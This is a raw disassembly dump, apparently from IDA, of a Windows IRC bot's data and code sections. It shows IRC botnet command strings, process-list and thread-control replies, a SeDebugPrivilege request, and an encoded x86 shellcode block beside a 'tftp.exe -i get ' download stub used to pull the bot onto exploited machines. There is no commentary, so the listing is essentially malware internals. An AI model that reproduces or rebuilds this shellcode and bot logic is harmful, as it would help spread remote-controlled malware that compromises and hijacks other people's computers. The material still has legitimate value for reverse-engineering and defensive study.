sub_40997B+8FEo dd 0A0Dh dword_421BE8 dd 4E495001h, 47h ; DATA XREF: sub_40997B+8CAo aSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: sub_40997B+884o align 4 dword_421C0C dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_40997B+867o dd 0D017325h, 0Ah dword_421C28 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_40997B+836o unk_421C34 db 2 ; DATA XREF: sub_40997B+76Fo db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 6Eh ; n db 2 dup(30h), 62h db 3 db 31h, 32h, 5Dh db 0Fh db 20h, 3, 31h a5failedPassAut db '5Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0 ; DATA XREF: sub_40997B+75Do ; sub_40997B+953o align 4 aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_40997B+746o ; sub_40997B+93Co align 4 asc_421CB4: ; DATA XREF: sub_40997B+712o unicode 0, <~>,0 a332 db '332',0 ; DATA XREF: sub_40997B+633o ; sub_40997B+9FBo ... dword_421CBC dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh ; DATA XREF: sub_40997B+5B4o dd 65735535h, 3203A72h, 73253231h, 20353103h, 67676F6Ch dd 6F206465h, 2E7475h dword_421CEC dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh ; DATA XREF: sub_40997B+58Do dd 696F4A35h, 2064656Eh, 6E616863h, 3A6C656Eh, 32310320h dd 2E7325h dword_421D18 dd 333533h ; DATA XREF: sub_40997B+556o aPart db 'PART',0 ; DATA XREF: sub_40997B+508o ; sub_40997B+5D1o align 4 aSS_2 db ':%s%s',0 ; DATA XREF: sub_40997B+4E0o align 4 aNick db 'NICK',0 ; DATA XREF: sub_40997B+3B2o align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40997B+353o ; sub_40997B+5F5o dword_421D44 dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh ; DATA XREF: sub_40997B+337o ; sub_40997B+4085o dd 65735535h, 31032072h, 3732532h, 6C203531h, 6567676Fh dd 756F2064h, 2E74h aKick db 'KICK',0 ; DATA XREF: sub_40997B+2C6o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40997B+275o ; sub_40997B+2CC3o ... align 4 a433 db '433',0 ; DATA XREF: sub_40997B+24Do a@: ; DATA XREF: sub_40997B+225o unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_40997B+215o a005 db '005',0 ; DATA XREF: sub_40997B+200o a001 db '001',0 ; DATA XREF: sub_40997B+1EBo aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40997B+1CFo ; sub_40997B+399o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_40997B+1B9o align 4 aPing db 'PING',0 ; DATA XREF: sub_40997B+19Fo align 10h asc_421DC0: ; DATA XREF: sub_40997B+190o ; sub_40997B+6F4o unicode 0, <!>,0 asc_421DC4 db ' :',0 ; DATA XREF: sub_40997B+82o ; sub_40997B:loc_40A3D2o align 4 aSD db ' %s (%d)',0 ; DATA XREF: sub_40DB61+BBo align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_40DB61+5Ao ; sub_40DB61+185o align 4 dword_421DE8 dd 32310302h, 3531035Bh, 636F7250h, 32310373h, 3200F5Dh ; DATA XREF: sub_40DD29:loc_40DDB0o a15processListF db '15Process list failed.',0 align 4 dword_421E14 dd 32310302h, 3531035Bh, 636F7250h, 32310373h, 3200F5Dh ; DATA XREF: sub_40DD29+80o a15processListC db '15Process list completed.',0 align 4 dword_421E44 dd 32310302h, 3531035Bh, 636F7250h, 32310373h, 3200F5Dh ; DATA XREF: sub_40DD29+19o dd 694C3531h, 6E697473h, 72702067h, 7365636Fh, 3A736573h dd 0 aConst db 'const',0 align 4 dd 0 dword_421E7C dd 1 ; DATA XREF: sub_40E17A+7o off_421E80 dd offset sub_40DE6E ; DATA XREF: sub_40E17A+4Cr aLetter db 'letter',0 align 4 dd 2 dup(0) dd offset sub_40DECC aDnick db 'dnick',0 align 10h dd 0 dd 2, 40DF19h dword_421EAC dd 69257325h, 0 ; DATA XREF: sub_40DE6E+40o ; .packed:0040E15Ao aSSSSS db '%s[%s|%s]%s[%s]',0 ; DATA XREF: .packed:0040E134o a99 db '99',0 ; DATA XREF: .packed:loc_40E0F2o align 4 a0D db '0%d',0 ; DATA XREF: .packed:0040E0CCo aD: ; DATA XREF: .packed:loc_40E083o unicode 0, <D>,0 off_421ED0 dd offset byte_4B4E55 ; DATA XREF: .packed:0040E063o dword_421ED4 dd 345053h ; DATA XREF: .packed:0040E059o dword_421ED8 dd 34h ; DATA XREF: .packed:0040E04Do dword_421EDC dd 335053h ; DATA XREF: .packed:0040E040o dword_421EE0 dd 33h ; DATA XREF: .packed:0040E02Fo dword_421EE4 dd 325053h ; DATA XREF: .packed:0040E022o dword_421EE8 dd 315053h ; DATA XREF: .packed:0040E004o dword_421EEC dd 31h ; DATA XREF: .packed:0040DFF3o dword_421EF0 dd 305053h ; DATA XREF: .packed:0040DFE6o dword_421EF4 dd 4E55h ; DATA XREF: .packed:loc_40DFCAo dword_421EF8 dd 3332h, 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh, 0FFFFB966h ; DATA XREF: .packed:0040DFC3o dd 0FF0E7380h, 0F9E243h, 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh dd 7380FFB1h, 0E243FF0Ch, 0F9h, 364C033h, 0C783040h, 8B0C408Bh dd 8BAD1C70h, 9EB0840h, 8D34408Bh, 408B7C40h, 3D08B3Ch dd 0CA8B3C40h, 8B784803h, 0DA8B2041h, 331C5903h, 57F633FFh dd 3CA8B57h, 7981100Ch, 7373650Ah, 8B027541h, 3798133h dd 72685474h, 3B8B0275h, 8304C083h, 0F68504C3h, 0FF85DB74h dd 0F203D774h, 0E857FA03h, 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; --------------------------------------------------------------------------- push 0 call sub_421FC4 jnz short loc_421FB0 retn ; --------------------------------------------------------------------------- loc_421FB0: ; CODE XREF: .packed:00421FADj ; .packed:00421FBDj call near ptr loc_421FB5+1 loc_421FB5: ; CODE XREF: .packed:loc_421FB0p add [edx+0], ch call sub_421FC4 jz loc_421FB0 retn ; =============== S U B R O U T I N E ======================================= sub_421FC4 proc near ; CODE XREF: .packed:00421FA8p ; .packed:00421FB8p pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn sub_421FC4 endp ; --------------------------------------------------------------------------- align 10h dword_421FF0 dd 32310302h, 3531035Bh, 72685450h, 73646165h, 73694C20h ; DATA XREF: sub_40E293+10o dd 32310374h, 0F5Dh aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_40E464+51o aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40E464+35o align 10h dword_422050 dd 173Fh ; DATA XREF: sub_40EE62+Dr dd 9875h, 9873h off_42205C dd offset sub_40EF31 ; DATA XREF: sub_41080Cr dd offset nullsub_3 dd offset nullsub_3 dword_422068 dd 1B3Fh ; DATA XREF: sub_40EFAB+Dr dword_42206C dd 19930520h, 4 dup(0) ; DATA XREF: sub_40F42D+2o ; sub_40F436+2o dword_422080 dd 2C8926AEh ; DATA XREF: sub_41018E+4w sub_410198r ... align 10h off_422090 dd offset sub_41084A ; DATA XREF: sub_410C52+1Cr dword_422094 dd 2 ; DATA XREF: sub_416800+Er ; sub_416839+46r ... off_422098 dd offset aNull_0 ; DATA XREF: sub_410DB0:loc_411114r ; sub_410DB0+457r ; "(null)" off_42209C dd offset aNull ; DATA XREF: sub_410DB0+259r ; "(null)" dd 10h, 0 off_4220A8 dd offset off_4220A8 ; DATA XREF: sub_4122EE+Do ; sub_4122EE+69o ... off_4220AC dd offset off_4220A8 ; DATA XREF: sub_4122EE:loc_41236Er ; sub_4122EE+89w ... dd offset dword_4220C0 dd offset dword_4220C0 dword_4220B8 dd 0FFFFFFFFh ; DATA XREF: sub_4122EEr ; sub_412432:loc_41247Fw dd 0FFFFFFFFh dword_4220C0 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: .packed:004220B0o ; .packed:004220B4o off_4240C8 dd offset off_4220A8 ; DATA XREF: sub_412432+15r ; sub_412432+20w ... dword_4240CC dd 1E0h ; DATA XREF: sub_40E8C0:loc_40E8FCr ; sub_414008+185r ... dword_4240D0 dd 14h ; DATA XREF: sub_41301E+2o off_4240D4 dd offset aExp ; DATA XREF: sub_41301E:loc_41303Br ; "exp" dd 1Dh, 41A434h, 1Ah, 41A430h, 1Bh, 41A428h, 1Fh, 41A420h dd 13h, 41A418h, 21h, 41A410h, 0Eh, 41A408h, 0Dh, 41A400h dd 0Fh, 41A3F8h, 10h, 41A3F0h, 5, 41A3E8h, 1Eh, 41A3E4h dd 12h, 41A3E0h, 20h, 41A3DCh, 0Ch, 41A3D4h, 0Bh, 41A3CCh dd 15h, 41A3C4h, 1Ch, 41A3BCh, 19h, 41A3B4h, 11h, 41A3ACh dd 18h, 41A3A4h, 16h, 41A39Ch, 17h, 41A394h, 22h, 41A390h dd 23h, 41A38Ch, 24h, 41A388h dbl_4241A8 dq 1.797693134862316e308 ; DATA XREF: sub_412D59+B7r ; sub_412D59:loc_412E40r ... dd 0 dd 0FFF80000h dbl_4241B8 dq 1.797693134862316e308 ; DATA XREF: sub_412D59+92r ; sub_412D59:loc_412E18r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_4241D0 dt 2.3562723457267347066e313 ; DATA XREF: sub_413206+Dr ; sub_413206+1Fr align 4 tbyte_4241DC dt 1.9149954921904370718e-1233 ; DATA XREF: sub_413206+31r align 4 off_4241E8 dd offset sub_41369A ; DATA XREF: sub_40EF49+Fw ; sub_410DB0+3AAr off_4241EC dd offset sub_41332F ; DATA XREF: sub_40EF49+5w ; sub_410DB0+3E2r off_4241F0 dd offset sub_413395 ; DATA XREF: sub_40EF49+14w ; sub_414309+430r off_4241F4 dd offset sub_4132D5 ; DATA XREF: sub_40EF49+1Ew ; sub_410DB0+3CBr off_4241F8 dd offset sub_41337D ; DATA XREF: sub_40EF49+28w off_4241FC dd offset sub_41369A ; DATA XREF: sub_40EF49+32w dd offset sub_417206 align 10h dd offset sub_413F5C off_424214 dd offset sub_413F5C ; DATA XREF: sub_413FB2+29r dword_424218 dd 0D2D0920h, 5Dh ; DATA XREF: sub_414309:loc_414870o dword_424220 dd 5Dh ; DATA XREF: sub_414309:loc_414760o off_424224 dd offset word_42422E ; DATA XREF: sub_40F8BC:loc_40F8ECr ; sub_40F8BC:loc_40F9A9r ... dd offset word_42422E db 2 dup(0) word_42422E dw 20h ; DATA XREF: sub_418050+18r ; .packed:off_424224o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_424430 dd 1 ; DATA XREF: sub_40F8BC:loc_40F8D4r ; sub_40F8BC:loc_40F991r ... byte_424434 db 2Eh ; DATA XREF: sub_4132D5:loc_413315r ; sub_41332F+4r ... align 4 dd 1, 0 dword_424440 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_410C9B:loc_410D58o ; sub_4150E6:loc_415167o byte_424448 db 1 ; DATA XREF: sub_415CA0+E1r db 2, 4, 8 align 10h dword_424450 dd 3A4h ; DATA XREF: sub_415CA0+2Fo dword_424454 dd 82798260h, 21h, 0 ; DATA XREF: sub_415CA0+11Dr dword_424460 dd 0DFA6h ; DATA XREF: sub_415CA0+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_424540 dd 0C0000005h ; DATA XREF: sub_415CA0+3Co ; sub_41624B+Ar ... dword_424544 dd 0Bh ; DATA XREF: sub_418C45+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_4245B8 dd 3 ; DATA XREF: sub_41610A+58r ; sub_418B18+C8r dword_4245BC dd 7 ; DATA XREF: sub_41610A+5Er ; sub_418B18+CDr dword_4245C0 dd 0Ah ; DATA XREF: sub_41624B+4r ; sub_418C45+4r dword_4245C4 dd 8Ch ; DATA XREF: sub_41610A+82r ; sub_41610A+8Fw ... dword_4245C8 dd 2 ; DATA XREF: sub_416839+Eo ; sub_416839+28r off_4245CC dd offset aR6002FloatingP ; DATA XREF: sub_416839+FCr ; sub_416839+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 41A758h, 9, 41A72Ch, 0Ah, 41A708h, 10h, 41A6DCh dd 11h, 41A6ACh, 12h, 41A688h, 13h, 41A65Ch, 18h, 41A624h dd 19h, 41A5FCh, 1Ah, 41A5C4h, 1Bh, 41A58Ch, 1Ch, 41A564h dd 78h, 41A554h, 79h, 41A544h, 7Ah, 41A534h, 0FCh, 41A530h dd 0FFh, 41A520h off_424658 dd offset dword_4BA580 ; DATA XREF: sub_416839+1Bo ; sub_4169F6+55o align 10h dd offset dword_4BA580 dd 101h dword_424668 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4169F6+72o dd 1000h, 0 dword_424678 dd 3 dup(0) ; DATA XREF: sub_410C9B+50o dd 2, 0FFFFFFFFh, 3 dup(0) dword_424698 dd 3 dup(0) ; DATA XREF: sub_410C9B+58o dd 2, 0FFFFFFFFh, 7 dup(0) dword_4246C8 dd 84h dup(0) ; DATA XREF: sub_4169F6+9Bo dword_4248D8 dd 2694h ; DATA XREF: sub_4129BB+3r ; sub_412A0E+46r ... align 10h dword_4248E0 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_416FE6o dword_4248F8 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_416FFCo dword_424910 dd 1 ; DATA XREF: sub_4175A6+Co dword_424914 dd 16h ; DATA XREF: sub_4175A6:loc_4175DBr dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_424A78 dd 7080h ; DATA XREF: sub_4157E2+76r ; sub_4175A6+19o ... dword_424A7C dd 1 ; DATA XREF: sub_4157E2+98r ; sub_417AF5+8Bw ... dword_424A80 dd 0FFFFF1F0h ; DATA XREF: sub_4157E2:loc_415894r ; sub_417AF5+94w ... dword_424A84 dd 545350h, 0Fh dup(0) ; DATA XREF: .packed:off_424B04o dword_424AC4 dd 544450h, 0Fh dup(0) ; DATA XREF: .packed:off_424B08o off_424B04 dd offset dword_424A84 ; DATA XREF: sub_417AF5+BAr ; sub_417AF5+D9r ... off_424B08 dd offset dword_424AC4 ; DATA XREF: sub_417AF5+F4r ; sub_417AF5+11Br ... align 10h dword_424B10 dd 0FFFFFFFFh ; DATA XREF: sub_417AF5+1Dw ; sub_417D53+1Er ... dword_424B14 dd 0 ; DATA XREF: sub_417D53:loc_417E87r ; sub_417EFF+BFw dword_424B18 dd 0 ; DATA XREF: sub_417D53+192r ; sub_417EFF+E0w align 10h dword_424B20 dd 0FFFFFFFFh ; DATA XREF: sub_417AF5+17w ; sub_417D53+26r ... dword_424B24 dd 0 ; DATA XREF: sub_417D53+13Ar ; sub_417EFF+EAw ... dword_424B28 dd 0 ; DATA XREF: sub_417D53+1A1r ; sub_417EFF+23r ... dword_424B2C dd 0FFFFFFFFh ; DATA XREF: sub_417EFF+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_424B5C dd 16Dh ; DATA XREF: sub_4157E2+2Ar ; sub_417EFF+2Er ... dword_424B60 dd 0FFFFFFFFh ; DATA XREF: sub_417EFF:loc_417F8Br dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_424B98 dd 2 dup(0) ; DATA XREF: sub_41906D+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_424CF8 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_41906D+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_424E54 dd offset off_41A928 ; DATA XREF: .packed:off_41A970o ; .packed:0041AAD4o ... dd 0 a_?avexception@ db '.?AVexception@@',0 off_424E6C dd offset off_41A928 ; DATA XREF: .packed:off_41A988o ; .packed:0041A9C8o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_424E8C dd offset off_41A928 ; DATA XREF: .packed:off_41A9D0o ; .packed:0041AA14o ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_424EAC dd offset off_41A928 ; DATA XREF: .packed:off_41AA1Co ; .packed:0041AA60o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_424ED0 dd offset off_41A928 ; DATA XREF: .packed:off_41AA68o ; .packed:0041AAA4o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_417206 align 10h dword_424EF0 dd 0 ; DATA XREF: sub_4010F9+9Eo byte_424EF4 db 0 ; DATA XREF: sub_4010F9+36r ; sub_4011DC+37r ... align 4 dd 0 dword_424EFC dd 2 dup(0) ; DATA XREF: sub_401E2D+68o dword_424F04 dd 0 ; DATA XREF: sub_4018CD+13o ; .packed:00402B2Do ... dword_424F08 dd 0 ; DATA XREF: sub_40322E+2Aw ; sub_40322E+51r ... dword_424F0C dd 0 ; DATA XREF: sub_401000+81r ; .packed:00402247r ... dd 2 dup(0) dword_424F18 dd 0 ; DATA XREF: sub_403430+18r ; sub_403675+92w ... dword_424F1C dd 0 ; DATA XREF: sub_4037AE+4Dr ; sub_4039C6+D9w ... dd 7FEh dup(0) dword_426F18 dd 0 ; DATA XREF: sub_4034A7+9Fw ; sub_4034A7+11Fo dword_426F1C dd 41h dup(0) ; DATA XREF: sub_4034A7+55o dword_427020 dd 41h dup(0) ; DATA XREF: sub_4034A7+80o dword_427124 dd 0 ; DATA XREF: sub_4034A7+115w ; sub_4034A7+131r dword_427128 dd 0 ; DATA XREF: sub_4034A7+63w dword_42712C dd 0 ; DATA XREF: sub_4034A7+6Fw ; sub_4034A7+ECr dword_427130 dd 20h dup(0) ; DATA XREF: sub_4034A7+B7o ; sub_4034A7+D7o dword_4271B0 dd 0 ; DATA XREF: sub_4034A7+ACw dword_4271B4 dd 0 ; DATA XREF: sub_4034A7+C4w ; sub_4034A7+E4w dword_4271B8 dd 0 ; DATA XREF: sub_4034A7:loc_4035F0r align 10h dword_4271C0 dd 7 dup(0) ; DATA XREF: sub_4037AE+D2o ; sub_4037AE+13Bo ... dword_4271DC dd 77C72C6Bh ; DATA XREF: sub_403C25+489w ; sub_403C25+4CDr dword_4271E0 dd 77EBA994h ; DATA XREF: sub_403C25+65w ; sub_40DB61+FCr dword_4271E4 dd 7622A3F4h ; DATA XREF: sub_403C25+7EDw ; sub_403C25+862r ... dword_4271E8 dd 71C45229h ; DATA XREF: sub_403C25+9BAw ; sub_403C25+A18r dword_4271EC dd 71C24870h ; DATA XREF: sub_403C25+96Cw ; sub_403C25+9E8r dword_4271F0 dd 77C71BB0h ; DATA XREF: sub_403C25+46Fw ; sub_403C25+4BDr dword_4271F4 dd 77D4808Bh ; DATA XREF: sub_403C25+213w ; sub_403C25+234r dword_4271F8 dd 71C4502Ch ; DATA XREF: sub_403C25+9ADw ; sub_403C25+A10r dword_4271FC dd 77DE801Bh ; DATA XREF: sub_403C25+354w ; sub_403C25+3A9r dword_427200 dd 77DDACABh ; DATA XREF: sub_403C25+3F1w ; sub_405503+125r dword_427204 dd 77DE8075h ; DATA XREF: sub_403C25+361w ; sub_403C25+3B1r dword_427208 dd 77DD7496h ; DATA XREF: sub_403C25+3A2w dword_42720C dd 71AB1B7Bh ; DATA XREF: sub_403C25+53Cw dword_427210 dd 77E686CCh ; DATA XREF: sub_403C25+72w ; sub_403C25+D2r dword_427214 dd 71C2498Bh ; DATA XREF: sub_403C25+95Fw ; sub_403C25+9DBr dword_427218 dd 77DDAB2Fh ; DATA XREF: sub_403C25+388w ; sub_403C25+3C9r dword_42721C dd 7620E8C3h ; DATA XREF: sub_403C25+83Bw ; sub_403C25+88Er dword_427220 dd 77DD23D7h ; DATA XREF: sub_403C25+2A5w ; sub_403C25+2D6r dword_427224 dd 76214750h ; DATA XREF: sub_403C25+82Ew ; sub_403C25+886r ... dword_427228 dd 77E6D75Bh ; DATA XREF: sub_403C25+B3w dword_42722C dd 7620BD61h ; DATA XREF: sub_403C25+848w ; sub_403C25+896r ... dword_427230 dd 71AB60C9h ; DATA XREF: sub_403C25+52Fw ; sub_403C25+6B2r dword_427234 dd 77EBA6E9h ; DATA XREF: sub_403C25+58w ; sub_403C25+CAr ... dword_427238 dd 76D62A58h ; DATA XREF: sub_403C25+916w ; sub_405CA0+11Ar dword_42723C dd 76F36EAAh ; DATA XREF: sub_403C25+A66w ; sub_403C25+A6Dr ... dword_427240 dd 77E802FCh ; DATA XREF: sub_403C25+A6w ; sub_403C25+F2r dword_427244 dd 77C75455h ; DATA XREF: sub_403C25+462w ; sub_403C25+4B5r dword_427248 dd 71AB12A7h ; DATA XREF: sub_40362D+20r ; sub_403C25+5D8w dword_42724C dd 71C574FAh ; DATA XREF: sub_403C25+9A0w ; sub_403C25+A08r dword_427250 dd 71AB1746h ; DATA XREF: sub_403C25+5CBw ; sub_403C25+736r dword_427254 dd 71B28D0Dh ; DATA XREF: sub_4011DC+9Ar ; sub_403C25+B21w dword_427258 dd 762211EFh ; DATA XREF: sub_403C25+7E0w ; sub_403C25+84Fr ... dword_42725C dd 77D902E3h ; DATA XREF: sub_403C25+1B3w ; sub_404CC0+15r dword_427260 dd 71C2FA86h ; DATA XREF: sub_403C25+979w ; sub_403C25+9F0r dword_427264 dd 77DE1291h ; DATA XREF: sub_403C25+36Ew ; sub_403C25+3B9r dword_427268 dd 77E2C1B3h ; DATA XREF: sub_403C25+37Bw ; sub_403C25+3C1r dword_42726C dd 73B81E3Bh ; DATA XREF: sub_403C25+C56w ; sub_403C25+C5Dr dword_427270 dd 71ABF628h ; DATA XREF: sub_403C25+68Ew dword_427274 dd 71AB1836h ; DATA XREF: sub_403C25+563w ; sub_403C25+6D6r ... dword_427278 dd 77C72889h ; DATA XREF: sub_403C25+496w dword_42727C dd 71C453F8h ; DATA XREF: sub_403C25+9C7w ; sub_403C25+A20r dword_427280 dd 77DD5C55h ; DATA XREF: sub_403C25+2B2w ; sub_403C25+2DEr ... dword_427284 dd 77E96645h ; DATA XREF: sub_403C25+7Fw ; sub_403C25+DAr dword_427288 dd 77428B97h ; DATA XREF: sub_403C25+B6Ew ; sub_403C25+B75r ... dword_42728C dd 71AB41DAh ; DATA XREF: sub_403C25+515w ; sub_403C25+695r ... dword_427290 dd 762059A3h ; DATA XREF: sub_403C25+807w ; sub_403C25+872r dword_427294 dd 71C4A1B4h ; DATA XREF: sub_403C25+986w ; sub_403C25+9F8r dword_427298 dd 1F7CD214h ; DATA XREF: sub_403C25+BDFw ; sub_403C25+C10r dword_42729C dd 77D4456Bh ; DATA XREF: sub_403C25+22Dw dword_4272A0 dd 76D629BBh ; DATA XREF: sub_403C25+8FCw ; sub_403C25+910r ... dword_4272A4 dd 1F7B9D96h ; DATA XREF: sub_403C25+BF9w dword_4272A8 dd 71AB1740h ; DATA XREF: sub_403C25+556w ; sub_403C25+6CAr ... dword_4272AC dd 7620AFB6h ; DATA XREF: sub_403C25+821w ; sub_403C25+855r dword_4272B0 dd 77D5C13Ah ; DATA XREF: sub_403C25+220w ; sub_403C25+23Cr dword_4272B4 dd 77D45B19h ; DATA XREF: sub_403C25+172w ; sub_403C25+1C2r dword_4272B8 dd 71AB157Eh ; DATA XREF: sub_403C25+65Aw ; sub_403C25+786r ... dword_4272BC dd 71AB3E5Dh ; DATA XREF: sub_401000+5Ar ; sub_4014EF+1F3r ... dword_4272C0 dd 71AB14DCh ; DATA XREF: sub_403C25+549w ; sub_403C25+6BEr dword_4272C4 dd 0CC0004h ; DATA XREF: sub_403C25+8BDw ; sub_403C25:loc_404500w ... dword_4272C8 dd 77DD590Bh ; DATA XREF: sub_403C25+28Bw ; sub_403C25+2C6r ... dword_4272CC dd 71ABD755h ; DATA XREF: sub_403C25+681w ; sub_403C25+79Er ... dword_4272D0 dd 77DF7311h ; DATA XREF: sub_403C25+30Fw ; sub_403C25+323r ... dword_4272D4 dd 77DDA2AFh ; DATA XREF: sub_403C25+395w ; sub_403C25+3D1r dword_4272D8 dd 1F7CD927h ; DATA XREF: sub_403C25+BD2w ; sub_403C25+C08r dword_4272DC dd 76206853h ; DATA XREF: sub_403C25+7FAw ; 